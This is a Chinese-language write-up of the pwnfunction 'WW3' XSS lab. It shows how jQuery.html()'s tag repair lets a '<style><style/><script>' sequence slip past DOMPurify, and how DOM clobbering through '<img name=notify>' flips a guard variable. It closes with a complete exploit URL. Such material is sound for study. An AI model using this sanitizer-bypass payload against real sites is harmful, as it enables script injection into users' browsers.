XSS-Jquery.html()+DOM破坏

目录

[靶场网址:​ https://xss.pwnfunction.com/challenges/ww3/ ​](#靶场网址: https://xss.pwnfunction.com/challenges/ww3/)

分析代码:

Jquery.html()解析原理:

DOM-clobbering

JS作用域&作用域链

​编辑


靶场网址:​ https://xss.pwnfunction.com/challenges/ww3/ ​

分析代码:

javascript 复制代码
<div>
    <h4>Meme Code</h4>
    <textarea class="form-control" id="meme-code" rows="4"></textarea>
    <div id="notify"></div>
</div>

<script>
    /* Utils */
    const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');
    const memeTemplate = (img, text) => {
        return (`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');`+
            `.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}`+
            `.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;`+
            `position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>`+
            `<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`)
    }
    const memeGen = (that, notify) => {
        if (text && img) {
            template = memeTemplate(img, text)

            if (notify) {
                html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)
            }

            setTimeout(_ => {
                $('#status').remove()
                notify ? ($('#notify').html(html)) : ''
                $('#meme-code').text(template)
            }, 1000)
        }
    }
</script>

<script>
    /* Main */
    let notify = false;
    let text = new URL(location).searchParams.get('text')
    let img = new URL(location).searchParams.get('img')
    if (text && img) {
        document.write(
            `<div class="alert alert-primary" role="alert" id="status">`+
            `<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">`+
            `Creating meme... (${DOMPurify.sanitize(text)})</div>`
        )
    } else {
        $('#meme-code').text(memeTemplate('https://i.imgur.com/PdbDexI.jpg', 'When you get that WW3 draft letter'))
    }
</script>

可控的输入的点有两个text,img

let text = new URL(location).searchParams.get('text')

let img = new URL(location).searchParams.get('img')

但是 img作为img标签的src属性被写入,且被过滤了关键符号。

text作为文本被渲染,渲染前都经过一次DOMPurify.sanitize处理

//part1

document.write(

...

Creating meme... (${DOMPurify.sanitize(text)})

)

//part2

html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)

notify ? ($('#notify').html(html)) : ''

Jquery.html()解析原理:

乍一看经过DOMPurify后的这些交互点都很安全,但是使用html()解析会存在标签逃逸问题。

两种解析html的方式:jquery.html&innerhtml。innerHTML是原生js的写法,Jqury.html()也是调用原生的innerHTML方法,但是加了自己的解析规则(后文介绍)。

关于两种方式:Jquery.html()和innerHTMl的区别我们用示例来看。

对于innerHTML:

模拟浏览器自动补全标签,不处理非法标签。同时,<style>标签中不允许存在子标签(style标签最初的设计理念就不能用来放子标签),如果存在会被当作text解析。

因此<style><style/><script>alert(1337)//会被渲染如下

<style>
<style/><script>alert(1337)//
</style>

对于Jqury.html():
最终对标签的处理是在htmlPrefilter()中实现:jquery-src,其后再进行原生innerHTML的调用来加载到页面。他会对不规范的标签进行修复。

javascript 复制代码
rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^/>x20trnf]*)[^>]*)/>/gi

jQuery.extend( {
    htmlPrefilter: function( html ) {
        return html.replace( rxhtmlTag, "<$1></$2>" );
    }
    ...
})

tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ];

这个正则表达式在匹配<*/>之后会重新生成一对标签(区别于直接调用innerHTML),例如:匹配到<div/>之后,他会修复这个标签,变为:<div></div>

所以我们传入的语句<style><style/><script>alert(1337)//则会被解析成如下形式,成功逃逸<script>标签。

<style>
<style>
</style>
<script>alert(1337)//

至于这里最后面为何要加两个//:

因为innerHtml会自动补全我们的不规范的标签,这里的style标签少一个,所以就会补全为:<style> <style></style><script>alert(1337)//</style>,而我们的//刚好酒吧最后的style标签注释掉了。

而我们知道DOMPurify的工作机制是将传入的payload分配给元素的innerHtml属性,让浏览器解释它(但不执行),然后对潜在的XSS进行清理。由于DOMPurify在对其进行innerHtml处理时,我们传入的payload是传入到style这个标签里面了,script标签被当作style标签的text处理了,所以DOMPurify不会进行清洗(因为认为这是无害的payload),但在其后进入html()时,这个无害payload就能逃逸出来一个有害的script标签从而xss。

DOM-clobbering

而要想执行我们的payload,只有在notify不为false的时候才能顺利进入html()方法

javascript 复制代码
let notify = false;

document.write(`<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">`)

const memeGen = (that, notify) => {
        if (notify) {
                html = (`${DOMPurify.sanitize(text)}`)
            }
        ...
        $('#notify').html(html)
}

所以我们需要用DOM破坏来让notify变为true

尝试用DOM-clobbering创造一个id为notify的变量,但是这种方式不允许覆盖已经存在的变量。

不过我们依然可以借助标签的name属性值,为document对象创造一个变量document.notify

JS作用域&作用域链

js的作用域就是会先去判断当前的scope是否有局部变量notify,若不存在向上查找window.document.notify,仍不存在继续向上到全局执行环境即window.notify为止。

所以我们用DOM破坏让name="notify",当它在局部找不到notify时,就会向上查找,最终找到我们覆盖的notify

而我们想要进入html()方法中,还需满足text&&mg这个条件

在当前函数内找不到text和img,onload 的作用域也找不到,就会往上去 script下面找,而多个 script 属于同一个作用域,在script中有text和img,于是就找到了。

而我们想要img为真,必须先执行text中的内容,因为text中有让notidy变为true的代码:DOM破坏将notify覆盖掉,它img中的onload变为真。这样才能满足text&&mg这个条件

<img name=notify><style><style/><script>alert()//

那我们这里就要考虑代码执行顺序的问题了,如果先执行的是img,那我们的payload就不可能成功,原因刚刚讲过了。

而恰好img加载图片是异步加载,所以我们的text中的代码先执行, 然后才会加载图片,然后才会触发onload,而notify为真,就走到html()这个方法中了,就会执行我们的payload。

最终传参:

bash 复制代码
img=https://i.imgur.com/PdbDexI.jpg&text=<img name%3dnotify><style><style%2F><script>alert(1337)%2F%2F

代码执行成功!

相关推荐
xiao-xiang11 分钟前
jenkins-通过api获取所有job及最新build信息
前端·servlet·jenkins
C语言魔术师27 分钟前
【小游戏篇】三子棋游戏
前端·算法·游戏
匹马夕阳2 小时前
Vue 3中导航守卫(Navigation Guard)结合Axios实现token认证机制
前端·javascript·vue.js
你熬夜了吗?2 小时前
日历热力图,月度数据可视化图表(日活跃图、格子图)vue组件
前端·vue.js·信息可视化
桂月二二8 小时前
探索前端开发中的 Web Vitals —— 提升用户体验的关键技术
前端·ux
hunter2062069 小时前
ubuntu向一个pc主机通过web发送数据,pc端通过工具直接查看收到的数据
linux·前端·ubuntu
qzhqbb9 小时前
web服务器 网站部署的架构
服务器·前端·架构
刻刻帝的海角9 小时前
CSS 颜色
前端·css
九酒10 小时前
从UI稿到代码优化,看Trae AI 编辑器如何帮助开发者提效
前端·trae
浪浪山小白兔10 小时前
HTML5 新表单属性详解
前端·html·html5